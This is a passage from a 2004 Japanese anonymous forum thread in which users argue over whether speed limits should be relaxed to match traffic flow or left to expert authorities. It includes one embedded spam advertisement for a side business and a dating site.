>そう、規制緩和してドライバーの自己責任に任せるのが理想だね。
規制緩和すれば、ドライバーの責任は減るでしょう。
人を死なせたor怪我させたときの責任をあなたはどうやって取りますか?
取りきれませんよね。取りきれない責任は社会が取るか、被害者が泣き寝入るのです。

まず人を死なせたor怪我させたときの責任の取り方を明確にしてください。
あなたの人生アポーンだけでは、責任は取れないのですよ。

815 :613:04/03/07 14:10 ID:???
>>813
>仮に、制限速度で走っていたからといって、100%安全ということはあり得ないよね。
>逆に、制限速度を超えたからといって、必ず事故が起こるということもあり得ないよね。
制限速度下で生じる事故の確率<制限速度超えで生じる事故の確率
制限速度下で生じる事故の被害<制限速度超えで生じる事故の被害

確率も被害も、制限速度超えのほうが大きいのです。
法律とは万能ではない。一件一件の事故を回避するためではなく、
全体での事故件数、事故被害を減少するために設けられるものです。

>利用者が決めた速度=車の流れは尊重すべきだよ。公安は交通規制の神様じゃないのだから。
同時に利用者も神様ではない。
リスク知らずの利用者より、リスクを知っている人からの意見を尊重している公安の意見の方がはるかに信用できます。

また利用者とありますが、お客ではなく免許所持者です。
ルールを守るのが義務であり、ルール破りは利用者でなく悪用者です。

816 :名無しさん@お腹いっぱい。:04/03/07 14:19 ID:???
>>810-812
>議論した上での多数決でね。
しかし、現在の規制が議論した上での規制とは到底思えませんね。
さらに、社会的に議論する機会すら与えられていないのですから、
ドライバーは意見すら言えませんよね。

>イラク派兵の問題において、リスクを一身に享受する自衛隊員の意見を
>メリットを一身に享受する国民と同レベルに扱うのが公平性に欠きますか?
自衛隊員は当事者。当事者の意見を尊重するのは当然でしょう。
制限速度だって、当事者であるドライバーの意見を尊重するのは当然です。
当事者であるドライバーの意見を無視して決める方が余程不公平じゃないですか?
ちなみに、イラク派兵をいやがる自衛隊員はほとんどいませんよ。

>40、50の大人が20キロの速度超過で走ってるんだから、
>18やそこらのガキは40キロの速度超過で走ります。
それは、勝手な思いこみですね。

>現状の車の速度をDQNな速度でないとすれば、〜(中略)〜甘受してますので、
日本でもそうですよ。嫌なら、車の無いような途上国にでも住んで下さい。

817 :名無しさん@お腹いっぱい。:04/03/07 14:42 ID:???
>>815
>同時に利用者も神様ではない。
神様ではないが、多くの意見ではあります。
多くの意見を無視することが許されていいのでしょうか?

>リスク知らずの利用者より、公安の意見の方がはるかに信用できます。
当然、ドライバーだってリスクを知っていますし、事故を起こしたいとは思っていません。
そのリスクを考慮しての速度が今の車の流れなんじゃないでしょうか。
どうしても、公安を神様のように崇めているとしか見えませんね。

818 :613:04/03/07 14:49 ID:???
>>816
>しかし、現在の規制が議論した上での規制とは到底思えませんね。
>さらに、社会的に議論する機会すら与えられていないのですから、
>ドライバーは意見すら言えませんよね。
議論はされてるよ。国会でね。また公安委員会でね。
議論の場を一ドライバーにまで提供できないのは、社会の仕組みだからね。
デモ運動するなり、司法の場を使うなり、立法の場に躍り出るなり、
手順を踏まないと議論の場には参加できない。

力のない正義は無力なり。
正義のない力は暴力なり。
正しいことがしたければ、偉くなれ。ってね。
偉くなるには、被害者や加害者、交通弱者の気持ちも知らねばならない。
知れば自ずと考えも変わるよ。だから、上の人は緩和に反対する。

>自衛隊員は当事者。当事者の意見を尊重するのは当然でしょう。
>制限速度だって、当事者であるドライバーの意見を尊重するのは当然です。
>当事者であるドライバーの意見を無視して決める方が余程不公平じゃないですか?
>ちなみに、イラク派兵をいやがる自衛隊員はほとんどいませんよ。
イラク派兵において、十二分に自衛隊員の意見を考慮しているからね。

自衛隊はリスクを負う当事者。国民はメリットを得る当事者。
被害者はリスクを負う当事者。ドライバーはメリットを得る当事者。

交通規制をいやがる被害者がほとんどいないのと同じです。
十二分に被害者の意見を考慮してますので。

819 :613:04/03/07 14:50 ID:???
>それは、勝手な思いこみですね。
交通社会には、規範となるべき人間が少なすぎる。また、他の世界ならば、規範となるべき人間は力を持ってる。
しかし、交通社会では規範となるべき人間は、他のドライバーと同じく一ドライバーにすぎない。
規範となるべき人間を作るべく、ゴールドカードや、優良ドライバー証明書なりを
作ってるがこれらのメリットが少ないため、いまいちみんなの憧れになってないってのが現実なんだよね。
優良ドライバーのさらなるメリット増加、速度超過ドライバーのさらなるデメリット増加が望ましいように思いますね。

>日本でもそうですよ。嫌なら、車の無いような途上国にでも住んで下さい。
極論はダメですよ。日本は違います。規制を見ればわかります。
嫌なら、規制の甘い欧米にでも住んでください。ってのと同じです。
規制を変えたいのならば、規制緩和のメリットとリスク回避手段を社会に提示してください。
(個人のメリットではなく、交通社会全体のメリットをね。)

820 :613:04/03/07 14:57 ID:???
>>817
>神様ではないが、多くの意見ではあります。
>多くの意見を無視することが許されていいのでしょうか?
無視は許されてはいけません。多くの意見を考慮すればいいのです。
ドライバーの意見を考慮し、同時に被害者、交通弱者の意見を考慮し、中間で答えを出す。

もし、ドライバーの意見を100%認めろというのであれば、
被害者、交通弱者の意見を無視しろというのと等価ですので。

>当然、ドライバーだってリスクを知っていますし、事故を起こしたいとは思っていません。
>そのリスクを考慮しての速度が今の車の流れなんじゃないでしょうか。
死というリスクを知ってるのでしょうか?理屈ではなく体験として。

>どうしても、公安を神様のように崇めているとしか見えませんね。
神様ではなく、知識持ちとして崇めていますが。

821 :名無しさん@お腹いっぱい。:04/03/07 15:47 ID:???
>手順を踏まないと議論の場には参加できない。
少なくともここでは発言できるので、ここがきっかけになればいいですね。
マスコミなどに投稿を呼びかけるレスもあったし。

>自衛隊はリスクを負う当事者。国民はメリットを得る当事者。
おかしいですね。イラク派兵は国民の方が反対しているんですけどね。
論点がズレるので、これ以上イラク談義はやめておきましょう。

>力のない正義は無力なり。→大衆ドライバーですね
>正義のない力は暴力なり。→公安ですね
「正しい速度」が存在しない以上、正義というのも大げさなような気がしてならないが、
力のない大衆ドライバーがネットのおかげで発言できるようになったのは大きな前進です。
これからは、もっと大衆の意見が反映されるよう、期待しますね。

>交通社会には、規範となるべき人間が少なすぎる。
なぜ、少ないのでしょうか?規範になる基準に欠陥があるからじゃないのですか?

>極論はダメですよ。日本は違います。規制を見ればわかります。
一部の人間が決めた守られない規制より、大衆の行動の方が説得力があるんじゃないですか?

>無視は許されてはいけません。多くの意見を考慮すればいいのです。
残念ながら、現実には考慮されていません。考慮されていないから、誰も守らないのです。
結局、多くの中から1つを決めるわけですから、少数が切り捨てられるのはやむを得ません。

822 :【サイドビジネス情報】:04/03/07 16:02 ID:UO4xYUAy
【サイドビジネス情報】

■サラリーマン・OL・主婦の方の副収入に最適のお仕事です■
   完全在宅で出来て、在庫・ノルマ・セミナーはありません。
   難しい事を取り除いた、21世紀のビジネスです。
   貴方の人生を180度変える!ビジネスチャンスです!
   今すぐHPへGO!⇒ http://vip.gooside.com

*****インターネットを使ったビジネスだから色んな利点があります!******
●自宅で好きな時間に好きなだけ、空いてる時間にできる
●ネットに繋がる環境があれば、日本全国どこでもビジネス可能!
●在庫・ノルマが一切ありません。

***************************************************

ホームページ無料提供
http://bestvip.gooside.com

***************************************************

本気で出会いを求めるなら
http://hotmedia.st/pg/trcl.asp?host=2245

***************************************************



823 :あぼーん:あぼーん
あぼーん

824 :613:04/03/07 16:48 ID:???
>>821
>少なくともここでは発言できるので、ここがきっかけになればいいですね。
>マスコミなどに投稿を呼びかけるレスもあったし。
こういうところが、きっかけになるかもしれませんが、
でしたら、ここにいる人だけでも、理解を得られるようにしなければ。

自分には規制緩和のメリットが、時間短縮以外に見つかりません。
そして、その時間短縮のメリットは、個々のドライバーのみのメリットです。
もちろん、メリットなのですから、あるにこしたことはありませんが、
ドライバー以外の人のメリットがあるのか。またリスクはないのか。
利己的欲求からのみの規制改正案など、受け入れることはできません。

>>交通社会には、規範となるべき人間が少なすぎる。
>なぜ、少ないのでしょうか?規範になる基準に欠陥があるからじゃないのですか?
規範となるべき人に、力がないからですね。
交通社会では、一ドライバーとしての力しかないからです。
制限速度を守ればクラクションを鳴らされ、また煽られるのはなぜでしょうか?
>優良ドライバーのさらなるメリット増加、速度超過ドライバーのさらなるデメリット増加が望ましいように思いますね。
これで解決できるような気がします。

825 :613:04/03/07 16:49 ID:???
>一部の人間が決めた守られない規制より、大衆の行動の方が説得力があるんじゃないですか?
目の前の利益だけ考えた大衆の行動には、なんの説得力もありません。
全てを考慮して決めた規則の方が、一部の人間が決めたものであったとしてもはるかに説得力を持ちます。

利己的な利益を追求し消費税に反対した大衆よりも、批判覚悟で導入した政治家の方が説得力があったように。
著作権無視の大衆よりも、著作権者の意見も考慮した著作権法が説得力を持つように。

一方の立場のみで決定されたルールなど、数の暴力となるのです。

>残念ながら、現実には考慮されていません。考慮されていないから、誰も守らないのです。
違います。考慮はされています。にも関わらず、利己的な利益を追求しているのです。さらに利益をよこせとね。
上にも書いたとおり「移動できること」がすでに大きなメリットなのです。どこが考慮されていないのでしょうか?
もし、事故が0ならば、誰も無茶な規制などしませんよ。
>結局、多くの中から1つを決めるわけですから、少数が切り捨てられるのはやむを得ません。
少数を切り捨てるってのはかまいませんが、弱者を切り捨てろって考えなので反対しています。

交通の社会で現れる少数とは、リスクを一身に背負ったもの、また、背負う人です。
そして、本人の意思により少数になったわけでもなく、交通社会がリスクを押しつけたがゆえに少数となった人なのです。
弱者切り捨ての理論は強者のおごりですよ。

826 :名無しさん@お腹いっぱい。:04/03/07 18:42 ID:???
>>825
>>本人の意思により少数になったわけでもなく、
>>交通社会がリスクを押しつけたがゆえに少数となった人なのです。
>>弱者切り捨ての理論は強者のおごりですよ。

つまり、歩行者=社会的弱者、ドライバー=社会的強者、って事?
確かに40年前くらいまではそうでしたね。
自動車を買えるのは一部のお金持ちだけでした。
でもね、現代は違うでしょう。
私よりもずっと多くの年収がありながら免許を持たず、地下鉄とJRと自転車を愛用している人を知ってますよ。
逆に、車を買えないほど貧乏な人って皆無ではないと思いますが、どれくらい居るんでしょうね。


827 :名無しさん@お腹いっぱい。:04/03/07 19:01 ID:???
>>825
>>目の前の利益だけ考えた大衆の行動には、なんの説得力もありません。
>>全てを考慮して決めた規則の方が、一部の人間が決めたものであったとしてもはるかに説得力を持ちます。

つまり、多数の大衆よりも少数のエリートによる意思決定の方が重視されるべきだと?
民主主義の原則から言えば、政治家は大衆の代表で、官僚は政治家の履行補助者に過ぎないのですが・・・。
要は、民主主義が必ずしも正しくないって事かな?

本音が出ましたねw
正直なところ私も、駆け引きを伴う外交や、極めて専門性の高い政策などについては、民主主義の限界を感じる事もあります。
でも、速度規制の場合、日常的に運転してる車の事ですからね。
民主主義を否定しなければならない程専門性が高いとは、とても思えない。
むしろ、悪しきエリート主義の弊害の方がはるかに高いと思う。

828 :名無しさん@お腹いっぱい。:04/03/07 19:11 ID:???
>>825


829 :名無しさん@お腹いっぱい。:04/03/07 19:16 ID:oKfwCeS6
>考慮はされています。にも関わらず、利己的な利益を追求しているのです。さらに利益をよこせとね。
車道をドライバーにとって適切なスピードで走りたいというのが利己的な利益なのか?


830 :613:04/03/07 19:54 ID:???
>>826
>つまり、歩行者=社会的弱者、ドライバー=社会的強者、って事?
Noです。社会全般の話などしてません。交通のみの話です。
歩行者=交通弱者、ドライバー=交通強者

交通弱者には、車の流れの速度の決定権がないですので。

>>827
>つまり、多数の大衆よりも少数のエリートによる意思決定の方が重視されるべきだと?
>民主主義の原則から言えば、政治家は大衆の代表で、官僚は政治家の履行補助者に過ぎないのですが・・・。
>要は、民主主義が必ずしも正しくないって事かな?
基本はNoです。多数の大衆が「すべてを考慮して」の意思決定なら重視すべきでしょう。
ですが、専門的事項に関しては、政治家、官僚経由の方が望ましい結果がでる(>>827と同意見)。

>でも、速度規制の場合、日常的に運転してる車の事ですからね。
>民主主義を否定しなければならない程専門性が高いとは、とても思えない。
>むしろ、悪しきエリート主義の弊害の方がはるかに高いと思う。
専門性と言うより、交通のリスクがごく一部の人に集中して課されるという点を考慮して、
リスク知らずの大衆が決めるより、リスクを考慮した人が決める方が妥当な決定をできるという意見です。

リスクを無視した決定は、危険すぎるから。

831 :613:04/03/07 20:01 ID:???
>>829
>車道をドライバーにとって適切なスピードで走りたいというのが利己的な利益なのか?
「ドライバーにとってのみ」であれば、利己的かと。

ドライバー、歩行者、周辺住民、被害者、加害者、
全ての立場の人間にとって適切なスピード(=制限速度)であれば利己的ではありませんが。

832 :名無しさん@お腹いっぱい。:04/03/07 20:08 ID:d2RsFYMT
>歩行者、
歩道を歩けば良い。

>被害者、加害者
ドライバーも被害者や加害者になるリスクを負っている。
それを承知の上で、現在の流れが出来てるのだが。

833 :名無しさん@お腹いっぱい。:04/03/07 20:16 ID:d2RsFYMT
>>830
>>リスク知らずの大衆が決めるより、

この言葉に、613さんの考え方が全てが集約されてるように思う。
つまり、大衆は無知で、少数の賢人の決める事の方が信頼出来ると。

それも一つの考え方だけど、私は少なくとも自動車の運転のように日常的な事は、民主主義でいいと思うんだけどな。
ほとんどのドライバーは、一度や二度は事故やってるだろうし、車を降りたら歩行者としての経験も積んでる。
決して、大衆は無知ではないと思います。

834 :613:04/03/07 20:21 ID:???
>>830に補足。
多くの大衆の意見を重視し、実際の流れを基準に制限速度を決定する。
そして、危険度が特に高い場所のみ行政が修正する(欧米の考え方)。

判断を専門家に委ね、全てにおいて行政が制限速度を決定する(日本の考え方)。

どちらが正解とかない問題なのです。
どちらがメリットが多く、リスクが少ないか。そこが争点かと。

欧米のほうがリスクが多いが、ドライバーは納得する。
事故にあっても、民意が決めたものだから受け入れるとの民衆の合意があります。
しかし、日本にはそのような考え方は根付いていません。
お国事情が異なり、このような制度の違いがあるのだと思われます。

日本は専門家の意見を尊重する。欧米は民意を尊重する。
俺はプロの意見を尊重したい。

835 :613:04/03/07 20:27 ID:???
>>832-833
>>820から一部抜粋。
>当然、ドライバーだってリスクを知っていますし、事故を起こしたいとは思っていません。
>そのリスクを考慮しての速度が今の車の流れなんじゃないでしょうか。
死というリスクを知ってるのでしょうか?理屈ではなく体験として。

836 :613:04/03/07 20:33 ID:???
>>834一部訂正。
>日本は専門家の意見を尊重する。欧米は民意を尊重する。
日本は、専門家がまず決め、これを民が監視するという民意がある。
欧米は、民がまず決め、専門家がこれをフォローするという民意がある。

837 :名無しさん@お腹いっぱい。:04/03/07 21:12 ID:???
>>835
>>死というリスクを知ってるのでしょうか?理屈ではなく体験として。

実際に死んだ事があるのかどうかを訊いているなら、NOです。
でも、公安や警察の偉い人達も同じでは?

それとも、警察の方は事故を見慣れているので実感として事故の悲惨さが分かるという事でしょうか?
それでしたら、私も友人を事故で亡くした事がありますし、緩和派の人だって身近に死亡事故を見聞きした事のある方も少なくないのではないでしょうか?
友人でなくても、友人の友人とかまで入れると、或いは死亡に至らなくても危うく死に掛けたような事例まで入れると、決して「大衆は事故を他人事と見ている」訳ではないと思いますよ。


838 :名無しさん@お腹いっぱい。:04/03/07 21:16 ID:???
>一方の立場のみで決定されたルールなど、数の暴力となるのです。
一方の立場のみで決定しているのは公安の方でしょう。
少数派の押しつけより、数の暴力の方がまだマシですよね。

>死というリスクを知ってるのでしょうか?理屈ではなく体験として。
体験として知っていたとしたら、ここには書き込めませんね。

>日本は、専門家がまず決め、これを民が監視するという民意がある。
少なくとも、制限速度に関してはそうではないようですね。
民意があるなら、誰も守らないという現実と矛盾しますし、
実際は公が民を監視しているわけですから。

839 :名無しさん@お腹いっぱい。:04/03/07 21:27 ID:???
>>834
>>836
>>日本は、専門家がまず決め、これを民が監視するという民意がある。
>>欧米は、民がまず決め、専門家がこれをフォローするという民意がある。

民意かどうかはともかく、実際そういうふうになっている面は否めませんね。
他の規則でも、多くが政府から法案が出され、国会で成立する。
議員立法は数から言えば決して多くないようですしね。
その意味では、日本は制度としては民主主義でも、実態は民主主義と官僚による啓蒙主義の混合形態なのかもしれません。

問題は速度規制の場合、国会で決めている訳でもなければ国会の代表たる内閣で決めている訳でもないという点です。
公安委員会という独立機関の存在により、「民」による監視が十分に行き届いて居ない。
その結果、守る人が極めて少ないという、社会通念から著しくかけ離れた規則がまかり通ってしまっている。

国会や内閣で決めていれば、こんな大多数が守らない規則がまかり通るような異常な状況は生まれていないと思います。
彼らには、選挙という民意による監視がありますからね。

840 :名無しさん@お腹いっぱい。:04/03/07 21:31 ID:???
>弱者切り捨ての理論は強者のおごりですよ。
残念ながら、経済の世界ではすでにそのような傾向が出ています。
経済的理由とした自殺者も増加中で、自殺者全体で3万人を超えているそうです。
これは昨年で1万人未満の交通事故死者の3倍以上の数値で、
自殺者の全てが経済的理由ではないにしろ、かなりの割合を占めているそうです。
それに比べれば、歩道という安全地帯がある分、交通の方が弱者に優しいですよ。
しかも、ドライバーは歩行者の立場も経験するわけですから、無茶な要求はできませんし。

841 :613:04/03/07 21:38 ID:???
>>837
>実際に死んだ事があるのかどうかを訊いているなら、NOです。
>でも、公安や警察の偉い人達も同じでは?
実際に死んでいたら、この世にいませんので、そこまでは意図していません。
ですが、この死に一番近い人(例えば遺族、例えば五体満足でなくなった人)から、
死のリスクは理屈ではなく体感できます。
公安は、何十人ものまた何百人ものこの人たちの意見を聞き、
また、実際の事故現場を見て、死のリスクを理解しようと試みてると思われます。

>それとも、警察の方は事故を見慣れているので実感として事故の悲惨さが分かるという事でしょうか?
>それでしたら、私も友人を事故で亡くした事がありますし、緩和派の人だって身近に死亡事故を見聞きした事のある方も少なくないのではないでしょうか?
>友人でなくても、友人の友人とかまで入れると、或いは死亡に至らなくても危うく死に掛けたような事例まで入れると、決して「大衆は事故を他人事と見ている」訳ではないと思いますよ。
もちろん、誰も死のリスクを考慮してないとは言いません。
規制とは、自分を縛るためのものではなく、他人に守ってもらいたいものなのです。
リスク知らずで運転の危険さを知らないドライバーがいるのは事実です。
自分も免許取り立てのときは知りませんでした。今でも知っているとは言えないレベルです。
そしてまた誰もが(遺族や、大きな怪我をした人以外)、公安の人ほどは死のリスクを知りません。
どんな人もたった一人の体験談でしかありませんので。

また、そのリスクを知った途端に、意見を逆転するのも事実です。
リスク知らずの人は規制緩和と叫び、そしてリスクを体験した人は規制強化を叫びます。

リスクを体験した人から、また事故現場から、リスクの回避方法をフィードバックすべきだと考えています。
もし、大衆の車の流れに決定権を与えるのであれば、
免許取得時に事故による遺族との対話や、事故現場をいくつも見せ、
死のリスクを教える必要がありますが、誰も死の悲惨を何十件も見ることを望まないでしょう。
この部分はプロ(公安)にまかせるべき部分だと思います。

842 :名無しさん@お腹いっぱい。:04/03/07 21:52 ID:???
>>841
>>遺族との対話や、事故現場をいくつも見せ、

何十件もではないが、友人の葬儀には出ましたし、遺族と話もしましたよ。
あと、葬儀には出れなかったけど線香上げに行ったとかもあるし。

事故現場に至っては、人身事故だけでそれこそ何十件も見てます。
何年か運転していれば、見た事が無い人の方が少ないでしょう。
少し前ですが、トラックとトラックの間に挟まれた人を助け出そうとしている現場も見ましたよ。

大抵の人がそういった事は承知の上で、それでも現在の流れになっている訳です。
決して大衆は馬鹿ではありません。

843 :613:04/03/07 21:52 ID:???
>>838-839
日本は歴史上、中国からの影響が強いからね。
科挙の考えが日本にも根強い。専門家に任せとけばなんとかなるって考えがね。

守る人が少ない=多くが認めてないと直接的には繋がらないと思いますよ。
規制とは守りたいものではなく、他人に守らせたいものですから。

自分はちょっぴりずるをするが、他人にはしっかり守ってもらいたいという人も少なからずいるかと。

緩和派は、自分が守るのが嫌って部分で意見をしてると思いますが、
現状派は、(自分が摘発されることがあっても)他人には守ってもらいたいって部分で意見をしてますので。

844 :名無しさん@お腹いっぱい。:04/03/07 21:57 ID:???
>>843
別に、他の人にも一般道80kmで走ってもらって、全然構わないのだが・・・。
他の人を50kmに抑えて、自分だけ80kmで走りたいなんて事を主張してる人は居ないと思います。

845 :613:04/03/07 22:03 ID:???
>>842
ですので、その部分は考えの相違部分だと思います。
少し程度は知ってるので、大衆でも十分判断できる。
より、多くの人の判断で決める方が間違いがない。ってのと、

少し程度しか知らないので、もっと多くの知識を有している人に
判断してもらう方が間違いがない。ってのと。

数での決定を選ぶのか、質での決定を選ぶのか。
日本はどちらかっていうと、後者の考えが根強いと思います。
どちらにもメリット・デメリットがありますので、どっちが正しいという問題でもないと思います。

最近の裁判員制度を見てると、最近では日本も数での決定を好む傾向にあるのかもしれません。
アメリカの陪審員制度を真似て、なんのメリットがあるのか個人的には疑問ですが。
俺はプロに裁かれたいし、また制限速度もプロに決めてもらいたい。

846 :613:04/03/07 22:11 ID:???
>>844
だから、
他の人にも一般道を80キロで走ってもらいってかまわないから、
自分も80キロで走りたい(交通の利便性が欲しい)。って人と、
自分が50キロで走ることになってもかまわないから、
他人には50キロで走ってもらいたい(交通の安全性が欲しい)。って人がいるってこと。

自分が80キロで走ってても、他人に無茶な運転して欲しくない人もいるんだって(例えば>>600さん)。
たまに摘発されて自分も速度を改めるから、他人もそうしてね。って考えの人がね。
制限速度を守ってない=制限速度を認めてない、ってことには必ずしもならないってこと。

847 :名無しさん@お腹いっぱい。:04/03/07 22:30 ID:???
>>845
>>考えの相違部分だと思います。

そうですね。
この部分は多分結論が出ないと思います。

ただ、少数が決定権を独占するデメリットをもう一つ挙げておきます。
このスレでも再三に渡り出て来た「反則金利権目当てでは?」という疑問。
そうだという明確な証拠もありませんし、そうでないという証拠もありません。

恐らく実際には、反則金利権も現在の速度規制の動機にはなっているけど、それ以外にも事故遺族からの圧力や変化を嫌う官僚体質もあるのでしょう。
もしかしたら、本当に事故の減少を願っている警察官僚も、一部には居るのかもしれません。

ただ、少数のよる決定権の独占は腐敗を生みやすい土壌である事は事実です。
また、腐敗を疑われる原因になる事も事実です。
実際、民主主義の発展の歴史自体が、「権力の独占=富の独占」の解消という経緯がある事は否定出来ないでしょう。

私は、極めてに専門的な分野以外は民主主義でよいのではないかと思います。


848 :613:04/03/07 22:30 ID:???
>>840
中には責任を取ってって人もいるから、昔でいう切腹なんだろうけど、
それ以外は、弱者であるがゆえの自殺だもんね。
50代、60代以上に自殺者が集中してるね。

闇金潰しなどやってるけど、抜本的解決にはならないだろうし。
自己破産と、生活保護を有効利用してくれとしか言えない。
けど、法律利用する術すら知らなかったらどうしようもないし。
誰かいい解決策教えれ。

849 :613:04/03/07 22:42 ID:???
>>847
正しく機能していれば問題がないが、
腐敗があるから問題だってことですか?

>事故遺族からの圧力
>変化を嫌う官僚体質もあるのでしょう。
この二つは別に問題にならないと思うので、
>反則金利権
が、腐敗の問題点ですよね?

もし多数が決定権を持ったとしても、運用をするのは少数ですよ。
その部分はどう解決しますか?
どちらかっていうと、お金の流れや運用基準を透明化するのが解決策だと思うのですが。

>私は、極めてに専門的な分野以外は民主主義でよいのではないかと思います。
民主主義により専門的な分野だと判断し、公安委員会に判断を委ねていると思います。

850 :名無しさん@お腹いっぱい。:04/03/07 22:44 ID:???
>>846
>>自分が80キロで走ってても、他人に無茶な運転して欲しくない人

私も他人に無茶な運転はして欲しくないが、今話してるのは80km程度の速度であって、幾らでも出させろという話ではないのですが。
まあ話の流れから、あなたの言う「無茶な運転」というのが、80km程度の速度も含んでいると解釈してレスします。

自分が80kmで走ってるなら、他人に80kmで走るなという資格はないと思います。
そんな主張は決して多くないと思いますが、どちらにしてもそんな矛盾した主張まで考慮する必要はないのでは?


851 :名無しさん@お腹いっぱい。:04/03/07 22:45 ID:???
>>613
仮に、もし制限速度厳守が安全に繋がるとしても、不可能な事を行おうとしても何の意味もありません。
多くのドライバーの利便性を犠牲にして、80kmで多くのドライバーが危険無く走れると感じている道路を50kmに規制したとしましょう。
その結果どうなりましたか?

みんなその規制を守ってますか?
交通法規の説得力を、地に落とす結果になってませんか?
その結果、大きなリスクを侵して一般道を100km超で走るドライバーがあまり白い目で見られないという現象を発生させてませんか?
生活道路の30km規制までが誰も守らない規制と化して、却って歩行者に危険を与えていませんか?
ドライバーの中には小さな子供が居たり、年老いた親が居たりする人も少なくないにも関わらずね。

「警察は規制を作ったし、出来る範囲で取締りをやった。あとはオレ達の責任じゃないヨ」ですか?
みんなが守れる規制を前提として、その中で可能な限りの安全対策を考える事はしないのですか?

政策というものは、多くの人に説得力を持つものでなければなりません。
そうでないと、上記のような有様になります。
それでも取り締まり強化によって、力で抑え込もうとしているのがここ数年の状況ですね。
短期的には捕まったドライバーが速度を落とすかもしれませんが、長続きはしないと思いますよ。
結局レーダー探知機の普及に繋がり、それに対して狙い撃ち式ねずみ捕りで対抗すると、今度は携帯サイトによる取り締まり情報交換サイトが盛況になる。
しかも、取り締まり強化は反感を持つドライバーをますます増やす。

大多数の人に説得力を持たない規制を力で押し付けても、末路はそんなものです。

852 :名無しさん@お腹いっぱい。:04/03/07 22:52 ID:???
>>841
>規制とは、自分を縛るためのものではなく、他人に守ってもらいたいものなのです。
全くそういう雰囲気は感じ取れませんね。
むしろ、守らせないために規制しているのではないかと思うぐらいですし。
守らせたいなら、多くが守りたくなるような規制でないといけません。
そもそも、公安が交通の専門家かどうかも疑問ですし。
交通の専門家なら、人間心理に基づいた対策をしてくれると思いますが、
公安は人間心理を無視して、力ずくで規制を決めているだけ。

>制限速度を守ってない=制限速度を認めてない、ってことには必ずしもならないってこと。
それは違うと思いますよ。認めるという事はそれに従うって事ですからね。
従ってないという事は、認めていないのと同じ事。
多くが従っていない制限速度は、多くが認めていないというわけですよ。

853 :名無しさん@お腹いっぱい。:04/03/07 22:58 ID:???
>>849
>>正しく機能していれば問題がないが、
>>腐敗があるから問題だってことですか?

というか、反則金利権目当てで厳しい規制になっているのか、それとも本当に事故のリスクと快適な道路環境の利益衡量によって決められているのか、判断出来ないのが問題だという事です。

警察OBの天下り先が反則金を使った安全対策の受注先になっているのは事実でしょう。
また、民間よりも高い受注額になっているという点に関しても、基本的に異論はありませんでしたね。
つまり利権の存在自体は事実と考えられます。

でも、速度規制がそういった利権を促進発展させる為に厳しくなっているのか、或いは本当に事故を防ぐために厳しくなっているのか、判断しようがありません。
この点を透明にするには、意思決定自体を民主的な方法にするしかありません。

854 :名無しさん@お腹いっぱい。:04/03/07 23:12 ID:???
制限速度に限らず、人はなぜ規則を守るのか?または、破るのか?を考えて下さい。

例えば、「他人のものを盗まない」というルールは
逆に言えば、自分のものを他人に盗まれないというメリットがあるので、
多くの人が守ろうとしますし、違反を罰するのは当然だと考えます。

一方、「80km/hで走っても問題ない道路を60km/h以下で走れ」というルールは
他人が破っても、自分にデメリットが及びません。
むしろ、車の流れに従ってくれるのなら、逆にそれがメリットとなります。
こんな規則を守ろうとしないのは人間心理としては当然の結果でしょう。

855 :613:04/03/07 23:39 ID:???
>>850
>自分が80kmで走ってるなら、他人に80kmで走るなという資格はないと思います。
>そんな主張は決して多くないと思いますが、どちらにしてもそんな矛盾した主張まで考慮する必要はないのでは?
矛盾などしてないのです。
人の物は盗るが、自分のものは盗られたくない人などごまんといますよ。
この考えを矛盾してると言っておられるのかと思いますが、
自分には甘くて、人に厳しいのは、どこにでもある発想かと。

>>600さん曰く、自分が取り締まりに合うのは甘受するので、
他人も取り締まりに合うのを甘受してくれとの考え方は矛盾してません。

>>851
>多くのドライバーの利便性を犠牲にして、80kmで多くのドライバーが危険無く走れると感じている道路を50kmに規制したとしましょう。
>その結果どうなりましたか?
80kmで走ったが為に事故が多発しました。
さらに、ルール破りを大量生産しました。

「ルール破りを作らないが為」にルールを甘くし事故を甘受するというのも一つの考え方です。
「事故を多発させないため」にルールは変えない。守るまで取り締まりを続けるというのも一つの考え方です。

前にも述べましたが、規制とはルール破りを作らないためのものではなく、
安全確保、利便性確保(これは道路があるということで確保できていますので特に安全確保)のために行うべきものと考えています。

856 :613:04/03/07 23:52 ID:???
>>852
>全くそういう雰囲気は感じ取れませんね。
守りたくなる法律を作ることが、効果のある規制ですか?
遵法精神のないものに、形だけの遵法精神を満足させてやることに意味がありますか?

>それは違うと思いますよ。認めるという事はそれに従うって事ですからね。
>従ってないという事は、認めていないのと同じ事。
>多くが従っていない制限速度は、多くが認めていないというわけですよ。
従うと認めるのは同じではありません。
ルールを破るが、ペナルティは甘受する。という考えの人は認めてはいますが、従ってませんので。

>>853
天下り先確保の利権ぐらいはあるでしょうね。

>判断出来ないのが問題だという事です。
確かに問題かもしれませんが、
リスクを受け入れるほうがはるかに問題です。
ですので、意思決定自体を民主的な方法にするのは勘弁してください。
ってか、問題をすり替えてますよ。

それでも問題なのであれば、公安の制限速度の基準を透明化してもらえばどうですか?
説明を求めればしてくれると思いますよ。

857 :名無しさん@お腹いっぱい。:04/03/08 00:19 ID:???
>>856
>>ってか、問題をすり替えてますよ。

別にすりかえてはいないのですが。
あなたは、規制速度に関しては少数のエリートによる意思決定が良いと思い、私は民主的に決定されるべきと思う。
で、話は価値観の違いとして煮詰まったのですが、補足として少数エリートによる意思決定のデメリットをもう一つ出しただけです。

しかも、少数エリートにとって規制強化は天下り利権に結びつく訳で、客観的な判断とはいえません。
さらに、公安は政治家と違い選挙によるチェックすら受けない。
安全性云々とは関係なく、異常に厳しい規制になるのは当然でしょうね。

858 :無しさん@お腹いっぱい。:04/03/08 01:52 ID:???
>>847
>このスレでも再三に渡り出て来た「反則金利権目当てでは?」という疑問。
>そうだという明確な証拠もありませんし、そうでないという証拠もありません。

非常に同意。
自分が反則金取られた事に納得行かない奴が吼えているだけ。
自分が悪い事をしたという自覚がない奴は非常に迷惑。
犯罪犯して罰を犯して「法が間違ってる」なんて言語道断。
そんな意見に同調する人は少ないと思う。

859 :847:04/03/08 02:40 ID:???
>>858
オイ!
都合の良い所だけ引用しないでくれ(w

>>847
>>恐らく実際には、反則金利権も現在の速度規制の動機にはなっているけど・・・

を省略するな!

これだから警察関係者(もしくは警察マンセー)は・・・(略

860 :847:04/03/08 02:47 ID:???
それに、規制緩和反対派も利権の存在は認めてる。

>>856
>>天下り先確保の利権ぐらいはあるでしょうね。

現に、反則金を財源とする下請け企業に警察天下りが多いのは確かだろ。

861 :847:04/03/08 03:05 ID:???
>>858
>>犯罪犯して罰を犯して「法が間違ってる」なんて言語道断。

